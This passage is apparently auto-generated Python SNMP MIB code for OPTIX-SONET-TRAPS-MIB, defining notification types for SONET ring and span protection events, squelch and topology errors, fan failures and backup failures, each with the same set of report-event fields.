25, 3, 20, 40, 20, 32905)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtInconsistentApsCodes.setStatus('current') evtImproperApsCodes = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32906)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtImproperApsCodes.setStatus('current') evtExtraTrafficIsBeingSquelched = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32907)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtExtraTrafficIsBeingSquelched.setStatus('current') evtTopologyNeedsUpdatingOrIsInvalid = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32908)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtTopologyNeedsUpdatingOrIsInvalid.setStatus('current') evtSquelchTableNeedsUpdatingOrIsInvalid = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32909)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSquelchTableNeedsUpdatingOrIsInvalid.setStatus('current') evtNodeIdDuplicatedOrMismatched = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32910)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtNodeIdDuplicatedOrMismatched.setStatus('current') evtXconMismatched = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32911)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtXconMismatched.setStatus('current') evtRingModeMisatch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32912)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtRingModeMisatch.setStatus('current') evtSquelchModeMismatch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32913)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSquelchModeMismatch.setStatus('current') evtLockoutProtectionSpan = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32915)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLockoutProtectionSpan.setStatus('current') evtLockoutWorkingRing = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32916)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLockoutWorkingRing.setStatus('current') evtLockoutWorkingSpan = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32917)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLockoutWorkingSpan.setStatus('current') evtForceSwitchOfRing = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32918)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtForceSwitchOfRing.setStatus('current') evtForceSwitchOfSpan = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32919)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtForceSwitchOfSpan.setStatus('current') evtManualSwitchOfRing = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32920)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtManualSwitchOfRing.setStatus('current') evtManualSwitchOfSpan = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32921)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtManualSwitchOfSpan.setStatus('current') evtExerciseSwitchRing = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32922)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtExerciseSwitchRing.setStatus('current') evtExerciseSwitchSpan = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32923)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtExerciseSwitchSpan.setStatus('current') evtLockoutProtectionForAllSpans = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32924)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLockoutProtectionForAllSpans.setStatus('current') evtRingSwitch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32925)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtRingSwitch.setStatus('current') evtSpanSwitch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32926)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSpanSwitch.setStatus('current') evtSwitchToPassthru = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32927)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSwitchToPassthru.setStatus('current') evtPersistentLineSquelching = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32928)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtPersistentLineSquelching.setStatus('current') evtDbmsCfgBackupFailed = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33156)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtDbmsCfgBackupFailed.setStatus('current') evtFanFailures = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 33161)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", 